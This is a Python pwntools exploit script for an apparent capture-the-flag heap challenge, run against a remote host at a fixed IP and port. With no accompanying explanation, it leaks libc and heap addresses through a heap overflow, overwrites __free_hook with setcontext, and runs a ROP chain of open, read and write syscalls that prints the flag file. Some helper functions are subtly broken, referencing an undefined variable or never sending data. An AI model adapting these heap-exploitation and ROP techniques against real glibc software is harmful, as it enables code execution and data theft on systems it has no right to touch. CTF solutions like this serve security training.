1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| from pwn import * p = process("./pwn") p = remote("122.112.231.25","8005") libc = ELF("./pwn").libc def add(num,name,size,data): p.recvuntil(">>>") p.sendline("1") p.recvuntil("Input Name of Staff:") p.send(name) p.recvuntil("Input Number of Staff:") p.sendline(str(num)) p.recvuntil("Input len of Info:") p.sendline(str(size)) p.recvuntil("get Info:") p.send(data)
def edit_name(num,name): p.recvuntil(">>>") p.sendline("2") p.recvuntil("Input Number:") p.send(str(num)) p.recvuntil("Choice: 1.Edit Name 2.Edit Info\n > ") p.sendline(str(1)) p.recvuntil("Input name:") p.send(name) def edit_info(num,size,data): p.recvuntil(">>>") p.sendline("2") p.recvuntil("Input Number:") p.send(str(num)) p.recvuntil("Choice: 1.Edit Name 2.Edit Info\n > ") p.sendline(str(2)) p.recvuntil("Input len of Info:") p.sendline(str(size)) p.recvuntil("Input info:") def edit_info2(num,size,data): p.recvuntil(">>>") p.sendline("2") p.recvuntil("Input Number:") p.send(str(num)) p.recvuntil("Choice: 1.Edit Name 2.Edit Info\n > ") p.sendline(str(2)) p.recvuntil("Input len of Info:") p.sendline(str(size)) p.recvuntil("Input info:") p.send(info) def show(num): p.recvuntil(">>>") p.sendline("4") p.recvuntil("Input staff number:") p.send(str(num)) def free(num): p.recvuntil(">>>") p.sendline("3") p.recvuntil("Input Number of Staff:") p.sendline(str(num))
one =[0x45226,0x4527a,0xf0364,0xf1207] p.recvuntil("Input String1:") p.sendline("\x02\x01\x00") p.recvuntil("Input String2:") p.sendline("\x01\x26")
add(0,'a',0xf8,'aaaa') add(1,'a',0x68,'aaaa') add(2,'a',0x68,'aaaa') free(0) add(0,'a'*8,0xf8,'a') show(0)
p.recvuntil("a"*8) libc.address = u64(p.recv(6)+'\x00\x00')-0x3C4C68 print hex(libc.address)
stack = 0x10000000 pop_rdi = 0x0000000000021112 + libc.address pop_rsi = 0x00000000000202f8 + libc.address pop_rdx = 0x0000000000001b92 + libc.address pop_rax = 0x000000000003a738 + libc.address pop_rsp = 0x0000000000003838 + libc.address syscall = 0x0000000000101597 + libc.address ret = 0x1015B2 + libc.address
add(3,'a',0x58,'aaaa')
add(4,'a',0x68,'aaaa') add(5,'a',0x68,'aaaa') add(6,'a',0x68,'aaaa') edit_info(4,0,'a') free(5) free(4) add(4,'a',0x68,'\x90') add(5,'a',0x68,'\x00'*0x58+'\x71') show(4) p.recvuntil('Info:') heap = u64(p.recv(6)+'\x00\x00')-0x590 print hex(heap)
payload = '' payload += p64(pop_rdi) payload += p64(heap+0x918) payload += p64(pop_rsi) payload += p64(4) payload += p64(pop_rdx) payload += p64(4) payload += p64(pop_rax) payload += p64(2) payload += p64(syscall)
payload += p64(pop_rdi) payload += p64(3) payload += p64(pop_rsi) payload += p64(heap+0x500+0x8b8) payload += p64(pop_rdx) payload += p64(0x100) payload += p64(pop_rax) payload += p64(0) payload += p64(syscall)
payload += p64(pop_rdi) payload += p64(1) payload += p64(pop_rsi) payload += p64(heap+0x500+0x8b8) payload += p64(pop_rdx) payload += p64(0x100) payload += p64(pop_rax) payload += p64(1) payload += p64(syscall) payload += './flag\x00'
add(7,'a',0x68,'\x00'*0x68)
add(8,'a',0x68,p64(0)+p64(0x21)+p64(libc.sym['__free_hook'])) add(9,'a',0xf8,payload) add(10,'\x00',0xf8,'\x00'*0x60+p64(heap+0x840)+p64(ret)+'\x00'*0x30+p64(heap+0x7b0)) edit_name(6,p64(libc.sym['setcontext']))
free(10) p.interactive()
|